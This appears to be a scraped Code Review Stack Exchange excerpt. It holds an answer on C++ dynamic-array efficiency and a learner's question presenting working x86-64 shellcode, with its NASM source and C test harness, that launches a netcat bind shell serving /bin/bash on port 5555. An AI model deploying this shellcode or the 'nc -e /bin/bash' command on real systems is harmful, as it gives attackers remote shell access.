"body": "<p>Your implementations for "insert" and "remove" are very inefficient. First, there is no obvious reason why "remove" would reallocate the array. And there is no reason why "insert" would <em>always</em> reallocate the array. Here's what I would do:</p>\n<ol>\n<li><p>Add a private method where you pass the <em>intended</em> capacity. If the intended capacity is greater than the capacity, it increases the array size. If the intended capacity is much less than the capacity, decrease the array size.</p>\n</li>\n<li><p>For "add", set the intended capacity to length + 1, then add the element. For "insert", set the intended capacity to length + 1, copy the elements at the end of the vector using copy_backwards, then store the new element. For "remove", use std::copy to move everything in the right place, then set the intended size to length - 1.</p>\n</li>\n<li><p>For "insert", you should allow the position (length), with the same effect as "add".</p>\n</li>\n</ol>\n<p>Using std::copy and std::copy_backwards means that instead of a for-loop you will run the most optimised code possible to move the array elements.</p>\n<p>PS. Apple uses an array implementation that makes inserting / removing array elements both at the beginning and the end of the array cheap (operations at index i take O (min (i, length - i)) steps); this is done by allowing element 0 to be stored anywhere in the array, and allowing the array to wrap around at the end of the storage).</p>\n<p>PPS. If you shrink the array when it becomes too small, make sure that you can't run into a situation where inserting one element grows the array, then deleting one element shrinks it, etc. etc.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-03T19:17:29.210",
"Id": "255579",
"ParentId": "255480",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": "255487",
"CommentCount": "5",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-01T23:06:31.840",
"Id": "255480",
"Score": "11",
"Tags": [
"c++",
"beginner",
"memory-management"
],
"Title": "C++ dynamic array implementation"
}
|
255480
|
<p>I'm trying to learn to write shellcode, and had the idea to try to write some that launches a <code>nc</code> listener that starts a <code>bash</code> shell on connection. It works by executing the <code>execve</code> system call with <code>nc -l -p 5555 -e /bin/bash</code> as its arguments.</p>
<p>In a contrived example, it works when run directly:</p>
<pre><code>int main() { // contrived.c
char code[] = "\x4d\x31\xdb\x41\x53\xbf\x68\x00\x00\x00\x57\x48\xbf\x2f\x62\x69\x6e\x2f\x62\x61\x73\x57\x49\x89\xe2\x41\x53\xbf\x2d\x65\x00\x00\x57\x49\x89\xe1\x41\x53\xbf\x35\x35\x35\x35\x57\x49\x89\xe0\x41\x53\xbf\x2d\x70\x00\x00\x57\x48\x89\xe2\x41\x53\xbf\x2d\x6c\x00\x00\x57\x48\x89\xe1\x41\x53\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x6e\x63\x57\x48\x89\xe0\x48\x89\xc7\x41\x53\x41\x52\x41\x51\x41\x50\x52\x51\x50\x48\x89\xe6\x41\x53\x48\x89\xe2\xb8\x3b\x00\x00\x00\x0f\x05";
void(*f)() = (void(*)())code;
f();
}
</code></pre>
<p>Compiled with:</p>
<pre><code>gcc -fno-stack-protector -z execstack contrived.c -o contrived
</code></pre>
<p>And it's <em>almost</em> clean. Some of the flag strings are so short that the instructions contain some leading null bytes. That's not my primary concern though; I'll find a way around that. My main concern is it feels a bit hacky. The main issue was that the second argument to <code>execve</code> is an array of strings containing the executable and arguments to the executable. Getting strings onto the stack, then creating an "array" of the addresses to each string proved to be incredibly difficult. I ended up making heavy use of scratch registers; one holding the address to each argument. I'd like to know if there are cleaner, more flexible way of creating an "array" of addresses to other data on the stack. I'd also like tips on anything else. I'm not proficient in NASM/assembly yet.</p>
<p>Assembled/linked using:</p>
<pre><code>nasm -Wall -f elf64 little.s -o little.o && ld little.o -o little
</code></pre>
<p><code>little.s</code>:</p>
<pre><code>global _start
; rax, rcx, rdx, r8, r9, r10
; nc -l -p 5555 -e -/bin/bash
section .text
_start:
xor r11, r11 ; The zero
push r11
mov rdi, 0x68 ; /bin/bash
push rdi
mov rdi, 0x7361622f6e69622f
push rdi
mov r10, rsp
push r11
mov rdi, 0x652d ; -e
push rdi
mov r9, rsp
push r11
mov rdi, 0x35353535 ; 5555
push rdi
mov r8, rsp
push r11
mov rdi, 0x702d ; -p
push rdi
mov rdx, rsp
push r11
mov rdi, 0x6c2d ; -l
push rdi
mov rcx, rsp
push r11
mov rdi, 0x636e2f2f6e69622f ; /bin//nc
push rdi
mov rax, rsp
mov rdi, rax
push r11 ; Array terminator
push r10
push r9
push r8
push rdx
push rcx
push rax
mov rsi, rsp ; Argv array
push r11
mov rdx, rsp ; An empty, null-terminated env "array"
mov eax, 59 ; execve
syscall
</code></pre>
|
[] |
[] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-01T23:24:58.800",
"Id": "255481",
"Score": "0",
"Tags": [
"nasm"
],
"Title": "Almost-clean shellcode that launches a netcat bash listener"
}
|
255481
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.